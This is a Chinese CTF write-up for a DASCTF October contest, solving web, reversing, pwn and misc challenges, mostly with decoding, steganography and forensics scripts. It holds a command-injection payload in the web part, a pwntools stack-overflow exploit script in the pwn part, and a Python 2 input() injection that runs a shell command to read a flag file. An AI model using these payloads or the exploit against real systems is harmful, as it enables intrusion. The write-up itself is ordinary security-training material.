DASCTF Oct X 吉林工师 欢迎来到魔法世界~ WP

[toc]
雪殇杯好耶,顶碗人大胜利!!!

image-20211025221442788

image-20211025221426580

WEB

迷路的魔法少女

?attrid=0&attrstr=${eval(system('cat /etc/timezone'))}

REVERSE

魔法叠加

pyc文件,改掉了magic,首先需要修复一下

img

前两位是版本信息,fuzz一下可知这是python3.7的pyc文件,正常python3.7的pyc文件前两位是420D

并且和面多了一个7102的字段,也导致了前面长度变成了7334。

修复只需要把开头改成420D,删掉7102字段,并且将前面的长度-2,变成7332即可。

img

修复下正常反编译

# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: ./2.py
# Compiled at: 2021-10-20 11:56:04
# Size of source mod 2**32: 1928 bytes
import struct
O0O00O00O00O0O00O = [
 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '#', '$', '%', '&', '(', ')', '*', '+', ',', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', ']', '^', '_', '`', '{', '|', '}', '~', '"']
def encode(O000O00000OO00OOO):
    """"""
    OOOO00OOO00O000OO = 0
    OOOOOOOOOO00O0OOO = 0
    OO0OOO000000OOOOO = ''
    for O0O0OO0OOOOOOOO00 in range(len(O000O00000OO00OOO)):
        O000O0OOOOO00O0O0 = O000O00000OO00OOO[O0O0OO0OOOOOOOO00:O0O0OO0OOOOOOOO00 + 1]
        OOOO00OOO00O000OO |= struct.unpack('B', O000O0OOOOO00O0O0)[0] << OOOOOOOOOO00O0OOO
        OOOOOOOOOO00O0OOO += 8
        if OOOOOOOOOO00O0OOO > 13:
            OO00O0OO00OOO000O = OOOO00OOO00O000OO & 8191
            if OO00O0OO00OOO000O > 88:
                OOOO00OOO00O000OO >>= 13
                OOOOOOOOOO00O0OOO -= 13
            else:
                OO00O0OO00OOO000O = OOOO00OOO00O000OO & 16383
                OOOO00OOO00O000OO >>= 14
                OOOOOOOOOO00O0OOO -= 14
            OO0OOO000000OOOOO += O0O00O00O00O0O0O0[(OO00O0OO00OOO000O % 91)] + O0O00O00O00O0O0O0[(OO00O0OO00OOO000O // 91)]
    if OOOOOOOOOO00O0OOO:
        OO0OOO000000OOOOO += O0O00O00O00O0O0O0[(OOOO00OOO00O000OO % 91)]
        if OOOOOOOOOO00O0OOO > 7 or OOOO00OOO00O000OO > 90:
            OO0OOO000000OOOOO += O0O00O00O00O0O0O0[(OOOO00OOO00O000OO // 91)]
    return OO0OOO000000OOOOO

O0O00O00O00O0O0O0 = []
OO000O00O00O0O0O0 = []
O0O0O0O0000O0O00O = input('plz input O0O0O0O0000O0O00O:\n')
for i in range(0, 52):
    O0O00O00O00O0O0O0 = O0O00O00O00O0O00O[i:] + O0O00O00O00O0O00O[0:i]
    O0O0O0O0000O0O00O = encode(O0O0O0O0000O0O00O.encode('utf-8'))
dic = open('./00.txt', 'a')
dic.write(O0O0O0O0000O0O00O)
dic.close
# okay decompiling magic.pyc

52次base91,码表偏移1

抄个解密脚本,微改

# -*- coding:utf-8 -*-
import struct
rawb91Maps = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
           'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
           'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
           'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
           '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '#', '$',
           '%', '&', '(', ')', '*', '+', ',', '.', '/', ':', ';', '<', '=',
           '>', '?', '@', '[', ']', '^', '_', '`', '{', '|', '}', '~', '"']
def decode(encoded_str:bytes):
    ''' Decode Base91 string to a bytearray '''
    v = -1
    b = 0
    n = 0
    out = b''
    for strletter in encoded_str.decode():
        if not strletter in b91Table:
            continue
        c = b91Table[strletter]
        if v < 0:
            v = c
        else:
            v += c * 91
            b |= v << n
            n += 13 if (v & 8191) > 88 else 14
            while True:
                out += struct.pack('B', b & 255)
                b >>= 8
                n -= 8
                if not n > 7:
                    break
            v = -1
    if v + 1:
        out += struct.pack('B', (b | v << n) & 255)
    return out

b91MapArr = []
for i in range(0, 52):
    b91MapArr.append(rawb91Maps[i:] + rawb91Maps[0:i])
b91MapArr.reverse()
with open("/home/kali/Desktop/00.txt", "rb") as f:
    strs = f.read()

for i in range(0, 52):
    b91Table = dict((v, k) for k, v in enumerate(b91MapArr[i]))
    strs = decode(strs).decode()
    print("round:", i)

print(strs)

马猴烧酒

一个变表的base64

abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ

编码时间戳

1633831810

而后与

flag{this_is_fake_flag}

简单异或得到Key魔改SM4,

改了Sbox和CK

改下脚本

// sm4.h
static const unsigned char SboxTable[16][16] =
{
    {0x48, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05},
    {0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99},
    {0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62},
    {0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6},
    {0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8},
    {0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35},
    {0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87},
    {0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E},
    {0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1},
    {0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3},
    {0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F},
    {0xD5, 0xDB, 0x37, 0x45, 0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51},
    {0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8},
    {0x0A, 0xC1, 0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 0xB8, 0xE5, 0xB4, 0xB0},
    {0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84},
    {0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0xD6}
};
static const unsigned long CK[32] =
{
    0xF4BFE18F, 0xA8AA055C, 0x8B266D2B, 0xB3819D47, 0x0B1B3A85, 0xF7DB86B6, 0xC3279F82, 0x39D9C102,
    0xBEA224C9, 0xE75D4DAC, 0xAC61726C, 0x6F98AA6F, 0xFA2ADA4E, 0x6A7CFF92, 0xA8066E7B, 0x7BE32F9F,
    0x8CD0FED3, 0x4B98AF71, 0x790C2CBC, 0xBF880433, 0xAA46F582, 0x69C17A2C, 0x80BBD5E4, 0x24A02531,
    0x293D87B3, 0x75F159AD, 0xB750AE9D, 0x9886928C, 0x05577A22, 0xB425E19F, 0x124D4F63, 0xE26F66D1
};
#include <stdio.h>
#include "sm4.h"
int main()
{
    sm4_context ctx;
    unsigned char key[16] = {0x0B, 0x18, 0x18, 0x29, 0x16, 0x3A, 0x5E, 0x27, 0x1E, 0x2B, 0x5F, 0x3F, 0x32, 0x07, 0x5C, 0x56};
    unsigned char enc[16] = {0xF7, 0xEB, 0x5E, 0x87, 0x17, 0x9C, 0x74, 0x94, 0x44, 0xB5, 0xF5, 0x12, 0xF9, 0x74, 0x15, 0x5F};
    unsigned char dec[16];

    sm4_setDecryptKey(&ctx, key);
    sm4_CryptoEcb(&ctx, 0, 16, enc, dec);
    for (int i = 0; i < 16; i++)
        printf("%c", dec[i]);
    printf("\n");
    return 0;
}

PWN

搬山的魔法少女

下载附件得到一个文件,查看十六进制可知是个bmp文件,修改后缀打开发现右下角有明显的不同种类的绿色,故这里可能对g通道数据有一定隐写

image-20211025220044322

fuzz一下可以得知,提取所有像素g通道数据,对0xff异或即可得到一个新文件

from PIL import Image
import struct
pic = Image.open('C:\\Users\\34603\\Desktop\\flag2.bmp')
a, b = pic.size
fp = open('C:\\Users\\34603\\Desktop\\flag.zip', 'wb')
for y in range(b):
    for x in range(a):
        g = pic.getpixel((x, y))[1]
        data = struct.pack('B', g & 0xff)
        # print(data)
        fp.write(data)
fp.close()

最终得到一个压缩包文件,

压缩包内是pwn的附件

pwn部分:

绕过检查后栈溢出

#!/usr/bin/python
from pwn import *
import sys
import time
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='miscpwnn'
libc_name='libc.so.6'
#libc_name='libc-2.31.so'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

def exp(i,j):
    #try:
        if local:
            p=process("./"+binary_name)
        else:
            p=remote('47.104.71.220', 38562)

        def z(a=''):
            if local:
                gdb.attach(p,a)
                if a=='':
                    raw_input
            else:
                pass

        ru=lambda x:p.recvuntil(x)
        sl=lambda x:p.sendline(x)
        sd=lambda x:p.send(x)
        sa=lambda a,b:p.sendafter(a,b)
        sla=lambda a,b:p.sendlineafter(a,b)
        ia=lambda :p.interactive()

        sla('How many mountains do you want?','225')
        sla('How many mountains can you take each time?',str(i))
        ru('How many mountains do you move?')
        z('b*0x80488c7')
        sl(str(j))
        sl(b'a'*30+b'b'*2+p32(0x80485b6))
        ia()
    #except:
        #p.close
'''
for i in range(1,0x1e):
    for j in range(1,i):
        exp(i,j)
'''
exp(30,29)

MISC

WELCOME DASCTFxJlenu

python2的input漏洞

__import__('os').system('cat /flag.txt')

image-20211025220033698

魔法少女的迷音

下载附件得到一个加密压缩包

img

google搜索一下注释atom128,得到一个在线解密网站

img

解密得到压缩包密码

img

之后得到一段wav音频,倒序后即可听到正常音频,之后Decimal解密一下,包上DASCTF即可得到flag

不可以色色

网页上有一个gif图片,fuzz一下可以发现并没有什么用。

根据F12里的提示,video,爆破出一个video.zip文件

img

打开压缩包里面是个头文件有问题的video.mp4文件

img

正常的mp4文件如下

img

故将video.mp4文件头做一下处理,得到如下数据:

img

打开后是一个米老鼠视频,在视频开头和结尾部分,有几帧存在类似二维码的数据,百度一下可知是PDF417二维条码,将两部分二维码做一下处理合在一起,扫一下即可得到flag

img

魔法信息

下载附件得到一个流量包,在tcp.stram eq 20中可以发现有一个zip数据

img

base解密一下shell最后的base64,或者查看之前的数据流,也可以得知这里传输了一个eeeee.zip文件

img

将zip保存下来,压缩包数据有问题,一直报错。用360和bandzip都解压不了,用7z和winrar可以解压,但解压出来的pdf数据也有问题,打不开

img

img

这里尝试用010editor打开看看有什么问题,发现了神奇的东西

img

在pdf数据块里直接就可以看到flag,可能这就是报错原因吧,将数据块从 'DASCTF{' 到 '}' 的所有数据全部提取出来,即可得到flag

阴游大师

一个Malody音游题,可以直接百度搜索,在官网上下载windows版本

游玩过程中,或者在游戏中可以很明显的发现,在正常游戏的九条数据外,最右边有多出的数据,这作为正常游戏肯定是没有的,故块地方肯定有做了加密的地方。

img

先写个脚本提取一下每个通道的数据,修改后缀为zip,在mc文件内就可以发现json保存的数据格式,其中就有音游过程顺序,做一下json美化,可以看的更清楚哦

img

脚本如下:

import json
fp = open('mcz.txt', 'r')
data = fp.read()
json1 = json.loads(data)
note = json1['note']
for i in note:
    print(i['column'], end='')

得到:

11111366666622222555554525314372631372324234362423535353536271803535647352356011234235355353553877665563543543354512671267011256235425366424423162365417000068658367847012387111119951214811795651141019510911711510599951039710910195109971151160111141250000000031234610053251245332040404026262621267126712671267126712671267126712671267012301230123567856782344532356235623564444444444172635080808081701782662662660220222436436527845645736413737537526215707406754545423452525258765432107766554433112221212676762323246123455335353357654335535335301246786345325325326342660172462318504536141652723643725325252525252536363636271627162716271627162716245245246317258312612125876248761876234617635623561820324132546352434253226026826272526452736508551735534260463065632660582163806647051446017826713521835105287647163735363528353250364634351354444345434

然后找9存在的位置,可以发现所有9都在0000到00000000之间

img

并且很明显的可以看出 68 65 83 67 84都是可打印字符

尝试将0000到00000000的数据全部提取出来

解密一下即可得到flag

img

这里有一个011错了,把011改为101即可正常得到flag,具体原因感觉是题目不小心出的有点问题,但也不确定,修改后即可得到最终flag

img

英语不好的魔法少女

下载附件得到一个png图片,发现有一个tpWj数据块,里面是一个stego_text.txt

img

用在线网站提取一下数据

https://masterqian.github.io/picdir/

img

得到文本文件,这里不能直接从数据块里复制粘贴,会文件异常

零宽字节解密一下,发现有一串密文

img

再回到一堆英文单词中,发现有一些很明显的单词拼写错误,比如accurate写成了accuratm

img

在github上找了一个比较全的单词表

https://github.com/first20hours/google-10000-english/blob/master/google-10000-english.txt

写一个脚本对照一下

fp = open('1.txt', 'r')  # 题目表
fs = open('2.txt', 'r')  # github表
tables = []
for line in fs:
    line = line.strip('\n')
    tables.append(line)
data = []
for line in fp:
    line = line.strip('\n')
    data.append(line)
for s in data:
    if s not in tables:
        print(s)

解得:

accuratm
extfnt
biks
equivalens
openev
sendinx
foumula
fecused
ree
journsy
threht
oparational
handbnok
sguthwest

发现错误的字母如下:

img

fuzz一下发现两个s和两个e,重复了,需要做一下去重,最终实际得到

mfsvxueshang

将零宽得到的数据作为密文,单词错误字母作为key,最终解一个aes即可得到flag:

img

Twinkle Twinkle Starry Night

nc链接一下靶机,发现很多base64字符

img

base64解密一下,发现很多小星星一样的字符吗,正好和题目对应

img

     +     +        +  *      +*        +  *     +*        +  *       +*        +  *      +*
       +  *     +** +       .     +        +  *      +*        +  *      +*        +  *      
+*        +  *       +*        +  *     +*     +        +  *      +*        +  *     +*      
  +  *       +*        +  *      +*        +  *      +*     +        +  *      +*        +  *
     +*        +  *      +*        +  *       +*        +  *      +*     +        +  *      +
*        +  *      +*        +  *     +*        +  *     +*        +  *     +*     .     .   
  . +     .     +        +  *      +*        +  *       +*        +  *       +*        +  *  
   +* + .     +        +  *       +*        +  *     +*        +  *     +*        +  *      +
*     +        +  *      +*        +  *     +*        +  *       +*        +  *     +*       
 +  *       +*     +        +  *      +*        +  *       +*        +  *       +*        +  
*      +*     +        +  *      +*        +  *       +*        +  *       +*        +  *    
   +*     .     .     . +       .     +        +  *      +*        +  *       +*        +  *
     +*        +  *      +* +   .     +        +  *      +*        +  *       +*        +  *
     +*        +  *       +** +       .     +        +  *      +*        +  *       +*       
 +  *      +*        +  *     +*     +        +  *      +*        +  *       +*        +  *  
   +*        +  *     +*     +        +  *      +*        +  *     +*        +  *       +*   
     +  *     +*        +  *       +*   .   . +     .     +        +  *      +*        +  *  
     +*        +  *       +*        +  *     +** +     .     +        +  *       +*        +
 *     +*        +  *     +*        +  *       +* + .     +        +  *      +*        +  *  
   +*        +  *       +*        +  *      +*        +  *     +*     +        +  *      +*  
      +  *       +*        +  *       +*        +  *      +*     +        +  *      +*       
 +  *       +*        +  *     +*        +  *     +*     +        +  *      +*        +  *   
    +*        +  *      +*        +  *     +* . . . +       .     +        +  *      +*      
  +  *     +*        +  *       +*        +  *     +*        +  *       +* +       .     +   
     +  *      +*        +  *       +*        +  *     +*        +  *     +*     +        +  
*       +*        +  *     +*        +  *     +*        +  *     +*   . +       .     +      
  +  *      +*        +  *       +*        +  *     +*        +  *     +*     +        +  *  
    +*        +  *       +*        +  *       +*        +  *      +*     +        +  *       
+*        +  *     +*        +  *     +*        +  *     +*     +        +  *       +*       
 +  *     +*        +  *      +*        +  *     +*     +        +  *       +*        +  *   
  +*        +  *     +*        +  *       +*   .   .   .   . + .     +        +  *      +*   
     +  *     +*        +  *       +*        +  *     +*        +  *       +*     +        +
 *      +*        +  *     +*        +  *       +*        +  *     +*        +  *     +*     
+        +  *       +*        +  *     +*        +  *     +*        +  *       +*   .   . +  
   .     +        +  *       +*        +  *     +*        +  *     +*        +  *      +* +  
   .     +        +  *       +*        +  *     +*        +  *     +*        +  *      +*    
 +        +  *      +*        +  *     +*        +  *       +*        +  *      +*        +  
*     +*     . + .     +        +  *      +*        +  *     +*        +  *       +*        +
  *      +*        +  *     +*     +        +  *      +*        +  *       +*        +  *    
  +*        +  *      +*     +        +  *      +*        +  *       +*        +  *       +*
       +  *       +*       .       . +       .     +        +  *       +*        +  *     +*
       +  *      +*        +  *     +*     +        +  *      +*        +  *     +*        +
 *       +*        +  *     +*        +  *       +*     +        +  *      +*        +  *    
   +*        +  *      +*        +  *     +*   .   . +       .     +        +  *      +*     
   +  *      +*        +  *      +*        +  *       +*        +  *       +* +     .     +  
      +  *      +*        +  *      +*        +  *     +*        +  *       +*        +  *   
   +* * + .

fuzz一下发现是starry语言

https://blog.csdn.net/rednaxelafx/article/details/83363956

可以转化成栈操作指令

img

写个脚本批量改为栈操作

import sys
fp = open('新建文本文档.txt')
data = fp.read()
fs = open('7754.txt', 'w')
sub = 0
for i in data:
    # print(i)
    if i == '\n':
        continue
    elif i == ' ':
        sub += 1
    elif i == '+':
        if sub == 1:
            fs.write('dup\n')
            sub = 0
        elif sub == 2:
            fs.write('swap\n')
            sub = 0
        elif sub == 3:
            fs.write('rotate\n')
            sub = 0
        elif sub == 4:
            fs.write('pop\n')
            sub = 0
        else:
            fs.write('push  ' + str(sub-5) + '\n')
            sub = 0
    elif i == '*':
        if sub == 0:
            fs.write('+\n')
            sub = 0
        elif sub == 1:
            fs.write('-\n')
            sub = 0
        elif sub == 2:
            fs.write('*\n')
            sub = 0
        elif sub == 3:
            fs.write('/\n')
            sub = 0
        elif sub == 4:
            fs.write('%\n')
            sub = 0
        else:
            print('error!!!')
            sub = 0
            sys.exit()
    elif i == '.':
        if sub == 0:
            fs.write('num_out\n')
        else:
            fs.write('char_out\n')
            sub = 0
    else:
        print('error!!!!')
        sys.exit()
fp.close()
fs.close()

得到:

push  0    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  0    +    char_out    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  0    +    dup    char_out    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  2    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  2    +    char_out    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  1    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  2    +    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  2    +    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  0    +    +    dup    char_out    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  2    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    char_out    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  2    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  0    +    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  1    +    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  1    +    push  3    *    push  0    +    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  2    +    char_out    char_out    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  2    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  2    +    char_out    char_out    dup    char_out    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  1    +    dup    char_out    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  0    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  1    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    push  3    *    push  2    +    char_out    char_out    dup    char_out    push  0    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  1    +    push  3    *    push  0    +    push  0    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  0    +    push  3    *    push  2    +    push  0    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  1    +    push  3    *    push  0    +    char_out    char_out    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  2    +    push  3    *    push  2    +    dup    char_out    push  0    push  3    *    push  1    +    push  3    *    push  1    +    push  3    *    push  0    +    push  3    *    push  2    +    push  3    *    push  1    +    -    dup    char_out   

注:

脚本实际是以换行隔开,这里为了能够全部显示,做了如下\n改为\t的操作,实际脚本还是为换行

img

然后对栈操作指令写一个脚本操作一下

import sys
fp = open('7754.txt', 'r')
data = []
for line in fp:
    line = line.strip('\n')
    if line[:4] == 'push':
        data.append(int(line.split('  ')[1]))
    elif line == '*':
        x = data[-1]
        y = data[-2]
        data = data[:-2]
        data.append(x * y)
    elif line == '+':
        x = data[-1]
        y = data[-2]
        data = data[:-2]
        data.append(x + y)
    elif line == 'dup':
        x = data[-1]
        data.append(x)
    elif line == 'char_out':
        x = data[-1]
        data = data[:-1]
        print(str(x) + ' ', end='')
    else:
        print('error!!!')
        sys.exit()

得到:

102 108 97 103 123 51 53 52 101 55 49 99 101 45 48 99 56 48 45 52 102 101 54 45 56 57 54 52 45 56 99 101 55 102 55 53 49 102 48 101 57 125

decimal解密一下即为flag

img

卡比卡比卡比

下载附件得到一个!@#$unimportance名字的文件和一个内存文件,!@#$unimportance内的数据很乱,看不出来是什么东西,先看看内存文件。

pstree一下发现iexplore和cmd进程

img

先看看iehistory一下看看历史记录

发现有一些搜索记录,还有一个key.png

img

搜索记录问怎么设置文件名能够更安全,方法是在文件名前加一个前缀。

img

img

先filescan+dumpfiles一下key.png图片

img

key.png是文本文件,内容为:

我记得我存了一个非常棒的视频,但怎么找不到了,会不会在默认文件夹下

视频的默认文件夹是Video,尝试搜索一下Video,发现可疑文件名

img

dumpfiles出来得到:

xzkbyyds!

这一串字符串应该是个key之类的,但暂时没有用处。

回到pstree,还有一个cmd进程,cmdscan一下,发现输入了5201314

img

之前ie搜索记录里有文件名加前缀的提示,怀疑就是加了5201314,故filescan一下5201314,得到一个tips

img

dumpfiles出来,是一个加密压缩包,ohhhh文件内的key也不是密码

img

还可能存在key的地方,也许会是管理员登录密码,尝试mimikatz一下,发现

MahouShoujoYyds

解密压缩包成功,压缩包内是个py文件

import struct
key = 'xxxxxxxxx'
fp = open('!@#$importance', 'rb')
fs = open('!@#$unimportance', 'wb')
data = fp.read()
for i in range(0, len(data)):
    result = struct.pack('B', data[i] ^ ord(*key[i % len(key)]))
    fs.write(result)
fp.close()
fs.close()

正好就是刚开始的!@#$unimportance文件的加密方式,缺少一个key,有key即可复原。

根据key的位数为9位,正好就是ohhh文件内的 xzkbyyds!

写一个逆脚本解密一下,得到一个头文件为GIF89a的文件,可知是gif图片

import struct
key = 'xzkbyyds!'
fp = open('!@#$importance', 'wb')
fs = open('!@#$unimportance', 'rb')
data = fs.read()
for i in range(0, len(data)):
    result = struct.pack('B', data[i] ^ ord(*key[i % len(key)]))
    fp.write(result)
fp.close()
fs.close()

看预览图可以发现这是一个正方形图片

img

但是点开之后就变成长方形了

img

很明显这里高度被修改过了,尝试把高度修改回来,gif的宽高在6 7 8 9四个字节内

img

其中6 7字节为宽, 8 9字节为高,且为小端序储存方式。

故宽为0077,高为0067,将高改回0077,发现某一帧的底部有flag,但是比较快,提取一下帧,在第115帧发现flag

img

giveyourflag

压缩包套娃,一层层解完就可以了

写个脚本解一下

import zipfile
f = zipfile.ZipFile("flag1", 'r')
while 1:
    try:
        name = f.namelist()[0]
        print(name)
        f.extractall()
        f = zipfile.ZipFile(name, 'r')
    except:
        break

之后做一个base64加凯撒密码即可得到flag

img

彁彁

有点小折磨的题

一帧一帧看,在视频中可以看到两处有二维码图样

img

img

之后就大致拼一下

img

然后放到在线网站里整理一下,读取部分信息

https://merricx.github.io/qrazybox/

img

读取得到:

img

由于二维码补全,这里最后解码有点问题,但也能猜出来是什么。

很明显可以看到是一个网址,有sn wa等存在,且是雪殇出的题,大概率这里其实是snowywar,即雪殇的ID。

中间还有.g,后面是ge。一开始怀疑是雪殇的博客,但要是博客上放flag之类的话,就太明显了。

故怀疑是代码管理仓库之类的,最后这里找到了gitee项目,如果二维码修复的比较好,应该更容易发现是gitee

img

得到题目的部分文件

img

4444.png内有两个二维码,但都扫不了,有一点数据是损坏的

img

stegsolve分析一下得到一个网址

img

https://ja.m.wikipedia.org/wiki/死

是一个日文的wiki,wiki上没什么特别的东西。

推特.jpg内有一个压缩包,提取出来发现是加密的

image-20211025221124104

最终fuzz一下,发现密码就是上面wiki连接搜索的东西,“死”。

故key为:死

解开后得到:

=6270yFdE0<?@H0=@G60562C=J0v60v6

这里也卡了好久好久,最后一个个fuzz过去,发现是ROT47,解密后包上DASCTF{}得到最终flagimg

闯入魔塔的魔法少女

swf游戏题,binwalk一下发现zlib数据流

img

提取出来直接搜索flag,得到:

img

虚幻三

跟网鼎杯里的虚幻系列类似,开局一个彩色文件。之前虚幻二是提取最低位像素,转化黑白,然后rgb顺序组合在一起,为一个汉信码,扫码得到flag。

这题一样的提取最低位像素,转化为黑白。但是组合顺序是grb,最终得到的数据如下:

img

四个角落做了混淆,但实际在四个角落补上汉信码标识符,即可扫码得到flag

